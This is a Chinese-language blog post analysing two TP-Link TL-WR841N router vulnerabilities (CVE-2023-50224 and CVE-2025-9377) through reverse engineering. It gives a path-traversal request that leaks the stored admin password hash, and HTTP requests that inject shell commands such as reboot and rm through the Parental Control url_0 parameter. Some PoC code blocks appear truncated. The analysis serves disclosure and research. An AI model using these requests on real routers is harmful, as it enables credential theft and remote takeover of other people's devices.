TP-Link WR841N router CVE-2023-50224 and CVE-2025-9377
起源是这个 Technical News and Reports about Quad 7 (7777) Botnet aka CovertNetwork-1658 的公告[1] , 顺便想检测一下我修改的IDA-Pro-MCP Headless 是否功能正常[3],所以有了这次的分析
这公告里涉及了两个漏洞:
- CVE-2023-50224
- CVE-2025-9377
这里分析的版本是 TL-WR841N(US)_V9_150401 [2]
分析
CVE-2023-50224
漏洞描述:
The first vulnerability is an unauthenticated file disclosure allowing for the retrieval of credentials stored in /tmp/dropbear/dropbearpwd. These credentials were then replayed in the HTTP Basic authentication of the management interface. TP-Link has been tracking this vulnerability internally as TP-Link Vulnerability Disclosure (TPVD) 202321023 TL-WR841N. Patched firmware for the affected devices can be found here.
第一个漏洞是未经身份验证的文件泄露,允许检索存储在 /tmp/dropbear/dropbearpwd 中的凭据。然后,这些凭据会在管理界面的 HTTP 基本身份验证中重放。 TP-Link 一直在内部跟踪此漏洞,编号为 TP-Link 漏洞披露 (TPVD) 202321023 TL-WR841N。可以在此处找到受影响设备的修补固件。
漏洞分析
使用 IDA Pro MCP 一下次就分析出来了
漏洞根因(httpd 函数 0x43fb70)
第42行:httpRpmConfAdd(2, “/loginFs/“, httpRpmFs) - 注册了 /loginFs/ 路径使用 httpRpmFs 处理
第41行:httpCtrlConfAdd(“/loginFs/“, ““, ““) - 配置 /loginFs/ 允许任何人访问
httpRpmFs 函数(0x4ee738)会从 /tmp/ 目录读取文件
httpDispatcher(0x4edc24)对 httpRpmFs 处理的请求跳过认证检查
为什么需要 ./
根据测试结果,添加 ./ 可能是为了绕过某种路径匹配或规范化检查。./ 表示当前目录,但在字符串匹配层面会改变模式匹配结果。
最终 POC
#!/usr/bin/env python3
“””
CVE-2023-50224 PoC
TP-Link TL-WR841N dropbearpwd Information Disclosure
漏洞:httpd 服务的 /loginFs/ 路径配置为无需认证,
且 httpRpmFs 会从 /tmp/ 目录读取文件。
管理员凭据明文存储在 /tmp/dropbear/dropbearpwd。
关键:需要在路径中添加 “./“ 来绕过某些路径检查。
“””
1 | import requests |
Bash 版本
1 |
|
关键点:路径必须使用 /loginFs/./dropbear/dropbearpwd(带 ./),而不是 /loginFs/dropbear/dropbearpwd。
请求后返回 hash 密码
登录的时候就使用这个 hash 登录就行
CVE-2025-9377
漏洞描述
The second vulnerability is a known Parental Control command injection RCE exploit. In this vulnerability, tampering with the url_0 parameter in the Parental Control page is used to achieve the RCE. The vulnerability is tracked as CVE-2025-9377 (https://www.cve.org/CVERecord?id=CVE-2025-9377) and TPVD202411095 internally. Patched firmware for the affected devices can be found here.
第二个漏洞是已知的家长控制命令注入 RCE 漏洞。该漏洞通过篡改家长控制页面中的url_0参数来实现RCE。该漏洞在内部被跟踪为 CVE-2025-9377 (https://www.cve.org/CVERecord?id=CVE-2025-9377) 和 TPVD202411095。可以在这里找到。
漏洞分析
这是一个位于 TP-Link WR841N 路由器 httpd 程序中的 命令注入漏洞,存在于家长控制(Parental Control)功能中。
漏洞位置
| 函数 | 地址 | 描述 |
|---|---|---|
| ParentCtrlRpmHandler | 0x455EC8 | 处理 /userRpm/ParentCtrlRpm.htm 请求,解析 url_%d 参数 |
| buildParentCtrlIptablesRule | 0x4CC670 | 构建 iptables 规则,将 URL 拼接到命令中 |
| refreshParentCtrlTbl | 0x4CCC24 | 执行脚本 /tmp/wr841n/parent.sh |
漏洞数据流
1 | 用户输入 (url_0 - url_7) |
1 | sprintf(v53, "url_%d", v28); |
命令构建 (0x4CCB44):
1
2
3
4sprintf(&v35[v22],
"-i %s -m mac --mac-source %s -p tcp --dport 80 -m multiurl --urls %s -j RETURN",
LanBridgeName, v27, v33); // v33 包含用户控制的 URL
fprintf(parentCtrlScript, "%s\n", v31);命令执行 (0x4CCED8):
1
2execFormatCmd("sh /tmp/wr841n/parent.sh");
// execFormatCmd → tp_systemEx → execve("/bin/sh", ["sh", "-c", cmd], 0)验证函数 swChkLegalDomain (0x4779C8)
白名单字符:”ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-><.,[]{}?/+=|\‘":;~!#$%()` &
攻击向量
攻击者可通过向 /userRpm/ParentCtrlRpm.htm 发送包含恶意 url_0 参数的请求来触发此漏洞,最终实现远程代码执行 (RCE)。
POC HTTP 请求包
1 | GET /userRpm/ParentCtrlRpm.htm?Save=Save&child_mac=AA-BB-CC-DD-EE-FF&url_comment=test&url_0=$(reboot)&url_1=&url_2=&url_3=&url_4=&url_5=&url_6=&url_7=&enable=1&Changed=1&SelIndex=0&scheds_lists=0 |
1 | GET /GXMKBVFAJEUQVDRA/userRpm/ParentCtrlRpm.htm?child_mac=12-34-56-78-87-65&lan_lists=888&url_comment=test&url_0=1+-j+RETURN;rm+/tmp/1;&url_1=website2&url_2=website3&url_3=&url_4=&url_5=&url_6=&url_7=&scheds_lists=255&enable=1&Changed=0&SelIndex=1&Page=1&rule_mode=0&Save=Save |
补丁链接
https://www.omadanetworks.com/uy/support/faq/4308/
https://www.tp-link.com/us/support/faq/4308/#:~:text=https%3A//static.tp%2Dlink.com/upload/firmware/

Comments